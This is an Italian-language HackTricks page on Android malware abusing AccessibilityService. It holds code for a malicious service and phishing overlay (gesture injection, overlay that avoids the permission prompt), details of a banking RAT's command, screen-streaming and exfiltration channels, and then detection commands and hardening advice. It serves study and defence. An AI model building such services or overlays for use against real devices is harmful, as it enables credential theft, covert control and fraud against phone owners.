Android Accessibility Service Abuse
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Overview
AccessibilityService
è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Sfortunatamente, le stesse API di automazione potenti (navigazione globale, input di testo, invio di gesti, finestre sovrapposte…) possono essere utilizzate dai malware per ottenere il completo controllo remoto del dispositivo senza privilegi di root.
I moderni trojan bancari Android e i Trojan di accesso remoto (RAT) come PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda e molti altri seguono la stessa ricetta:
- Ingegnere sociale la vittima per abilitare un servizio di accessibilità malevolo (il permesso BIND_ACCESSIBILITY_SERVICE è considerato "ad alto rischio" e richiede un'azione esplicita da parte dell'utente).
- Sfruttare il servizio per
- catturare ogni evento UI e testo che appare sullo schermo,
- iniettare gesti sintetici (
dispatchGesture
) e azioni globali (performGlobalAction
) per automatizzare qualsiasi compito desiderato dall'operatore, - disegnare sovrapposizioni a schermo intero sopra app legittime utilizzando il tipo di finestra TYPE_ACCESSIBILITY_OVERLAY (nessun prompt
SYSTEM_ALERT_WINDOW
!), - concedere silenziosamente ulteriori permessi di runtime cliccando sulle finestre di dialogo di sistema a nome della vittima.
- Esfiltrare dati o eseguire On-Device-Fraud (ODF) in tempo reale mentre l'utente guarda uno schermo perfettamente normale.
Requesting the permission
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Il file XML di accompagnamento definisce come apparirà la finestra di dialogo falsa:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Primitivi di automazione UI remota
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Con solo queste due API, un attaccante può:
- Sbloccare lo schermo, aprire l'app bancaria, navigare nell'albero dell'interfaccia utente e inviare un modulo di trasferimento.
- Accettare ogni dialogo di autorizzazione che appare.
- Installare/aggiornare APK extra tramite l'intento del Play Store.
Modelli di abuso
1. Overlay Phishing (Raccolta di credenziali)
Un WebView
trasparente o opaco viene aggiunto al gestore delle finestre:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
La vittima digita le credenziali nel modulo falso mentre l'app in background riceve gli stessi gesti – non viene mai mostrato alcun avviso sospetto "disegna sopra altre app".
Esempio dettagliato: la sezione Accessibility Overlay Phishing all'interno della pagina Tapjacking.
2. Automazione della frode su dispositivo
Famiglie di malware come PlayPraetor mantengono un canale WebSocket persistente dove l'operatore può emettere comandi di alto livello (init
, update
, alert_arr
, report_list
, …). Il servizio traduce questi comandi nei gesti di basso livello sopra, ottenendo transazioni non autorizzate in tempo reale che aggirano facilmente l'autenticazione a più fattori legata a quel dispositivo.
3. Streaming e monitoraggio dello schermo
Combinando l'API MediaProjection con una libreria client RTMP, il RAT può trasmettere il framebuffer live a rtmp://<c2>:1935/live/<device_id>
, dando all'avversario una perfetta consapevolezza situazionale mentre il motore di Accessibilità gestisce l'interfaccia utente.
PlayPraetor – flusso di comando e controllo
- Heartbeat HTTP(S) – iterare su un elenco hard-coded fino a quando un dominio risponde
POST /app/searchPackageName
con il C2 attivo. - WebSocket (porta 8282) – comandi JSON bidirezionali:
update
– inviare nuove conf/APKalert_arr
– configurare modelli di overlayreport_list
– inviare l'elenco dei nomi dei pacchetti miratiheartbeat_web
– keep-alive
- RTMP (porta 1935) – streaming live di schermo/video.
- Esfiltrazione REST –
/app/saveDevice
(impronta)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(credenziali bancarie)
Il AccessibilityService è il motore locale che trasforma quei comandi cloud in interazioni fisiche.
Rilevamento di servizi di accessibilità malevoli
adb shell settings get secure enabled_accessibility_services
- Impostazioni → Accessibilità → Servizi scaricati – cercare app che non provengono da Google Play.
- Le soluzioni MDM / EMM possono imporre
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) per bloccare i servizi sideloaded. - Analizzare i servizi in esecuzione:
adb shell dumpsys accessibility | grep "Accessibility Service"
Raccomandazioni di indurimento per gli sviluppatori di app
- Contrassegnare le viste sensibili con
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Combinare
setFilterTouchesWhenObscured(true)
conFLAG_SECURE
per prevenire il dirottamento di tap/overlay. - Rilevare overlay interrogando
WindowManager.getDefaultDisplay().getFlags()
o l'APIViewRootImpl
. - Rifiutare di operare quando
Settings.canDrawOverlays()
o un servizio di Accessibilità non fidato è attivo.
Riferimenti
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.